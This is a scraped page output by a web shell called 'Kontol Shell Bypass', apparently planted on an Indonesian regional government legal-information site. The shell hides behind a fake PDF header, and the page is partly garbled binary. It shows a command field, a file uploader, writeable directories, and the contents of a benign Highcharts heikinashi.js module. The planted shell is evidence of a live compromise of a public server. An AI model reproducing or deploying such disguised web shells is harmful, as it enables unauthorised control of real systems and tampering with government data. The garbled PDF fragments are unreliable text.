%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /www/wwwroot/jdih.dprd.mukomukokab.go.id/ildis_v4/assets/d5b01d88/es5/modules/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/ildis_v4/assets/d5b01d88/es5/modules/heikinashi.js
/*
 Highstock JS v10.3.3 (2023-01-20)

 HeikinAshi series type for Highcharts Stock

 (c) 2010-2021 Karol Kolodziej

 License: www.highcharts.com/license
*/
(function(a){"object"===typeof module&&module.exports?(a["default"]=a,module.exports=a):"function"===typeof define&&define.amd?define("highcharts/modules/heikinashi",["highcharts","highcharts/modules/stock"],function(c){a(c);a.Highcharts=c;return a}):a("undefined"!==typeof Highcharts?Highcharts:void 0)})(function(a){function c(a,g,c,b){a.hasOwnProperty(g)||(a[g]=b.apply(null,c),"function"===typeof CustomEvent&&window.dispatchEvent(new CustomEvent("HighchartsModuleLoaded",{detail:{path:g,module:a[g]}})))}
a=a?a._modules:{};c(a,"Series/HeikinAshi/HeikinAshiPoint.js",[a["Core/Series/SeriesRegistry.js"]],function(a){var g=this&&this.__extends||function(){var a=function(b,e){a=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(a,b){a.__proto__=b}||function(a,b){for(var e in b)Object.prototype.hasOwnProperty.call(b,e)&&(a[e]=b[e])};return a(b,e)};return function(b,e){function c(){this.constructor=b}if("function"!==typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");
a(b,e);b.prototype=null===e?Object.create(e):(c.prototype=e.prototype,new c)}}();a=a.seriesTypes;var c=a.hlc.prototype.pointClass;return function(a){function b(){var b=null!==a&&a.apply(this,arguments)||this;b.resolveColor=c.prototype.resolveColor;return b}g(b,a);return b}(a.candlestick.prototype.pointClass)});c(a,"Series/HeikinAshi/HeikinAshiSeriesDefaults.js",[],function(){"";return{dataGrouping:{groupAll:!0}}});c(a,"Series/HeikinAshi/HeikinAshiSeries.js",[a["Series/HeikinAshi/HeikinAshiPoint.js"],
a["Series/HeikinAshi/HeikinAshiSeriesDefaults.js"],a["Core/Series/SeriesRegistry.js"],a["Core/Utilities.js"]],function(a,c,n,b){function g(){this.series.forEach(function(a){a.is("heikinashi")&&(a.heikiashiData.length=0,a.getHeikinashiData())})}function e(){for(var a=this.points,b=this.heikiashiData,d=this.cropStart||0,f=this.processedYData.length=0;f<a.length;f++){var h=a[f],c=b[f+d];h.open=c[0];h.high=c[1];h.low=c[2];h.close=c[3];this.processedYData.push([h.open,h.high,h.low,h.close])}}function p(){this.heikiashiData.length&&
(this.heikiashiData.length=0)}var q=this&&this.__extends||function(){var a=function(b,d){a=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(a,d){a.__proto__=d}||function(a,d){for(var b in d)Object.prototype.hasOwnProperty.call(d,b)&&(a[b]=d[b])};return a(b,d)};return function(b,d){function f(){this.constructor=b}if("function"!==typeof d&&null!==d)throw new TypeError("Class extends value "+String(d)+" is not a constructor or null");a(b,d);b.prototype=null===d?Object.create(d):(f.prototype=
d.prototype,new f)}}(),l=n.seriesTypes.candlestick,m=b.addEvent,r=b.merge,k=[];b=function(a){function b(){var b=null!==a&&a.apply(this,arguments)||this;b.data=void 0;b.heikiashiData=[];b.options=void 0;b.points=void 0;b.yData=void 0;b.processedYData=void 0;return b}q(b,a);b.compose=function(a,f){for(var d=2;d<arguments.length;d++);l.compose(a);-1===k.indexOf(f)&&(k.push(f),m(f,"postProcessData",g));-1===k.indexOf(b)&&(k.push(b),m(b,"afterTranslate",e),m(b,"updatedData",p))};b.prototype.getHeikinashiData=
function(){var a=this.allGroupedData||this.yData,b=this.heikiashiData;if(!b.length&&a&&a.length){this.modifyFirstPointValue(a[0]);for(var c=1;c<a.length;c++)this.modifyDataPoint(a[c],b[c-1])}this.heikiashiData=b};b.prototype.init=function(){a.prototype.init.apply(this,arguments);this.heikiashiData=[]};b.prototype.modifyFirstPointValue=function(a){this.heikiashiData.push([(a[0]+a[1]+a[2]+a[3])/4,a[1],a[2],(a[0]+a[3])/2])};b.prototype.modifyDataPoint=function(a,b){b=(b[0]+b[3])/2;var c=(a[0]+a[1]+a[2]+
a[3])/4;this.heikiashiData.push([b,Math.max(a[1],c,b),Math.min(a[2],c,b),c])};b.defaultOptions=r(l.defaultOptions,c);return b}(l);b.prototype.pointClass=a;n.registerSeriesType("heikinashi",b);return b});c(a,"masters/modules/heikinashi.src.js",[a["Core/Globals.js"],a["Series/HeikinAshi/HeikinAshiSeries.js"]],function(a,c){c.compose(a.Series,a.Axis)})});
//# sourceMappingURL=heikinashi.js.map

Kontol Shell Bypass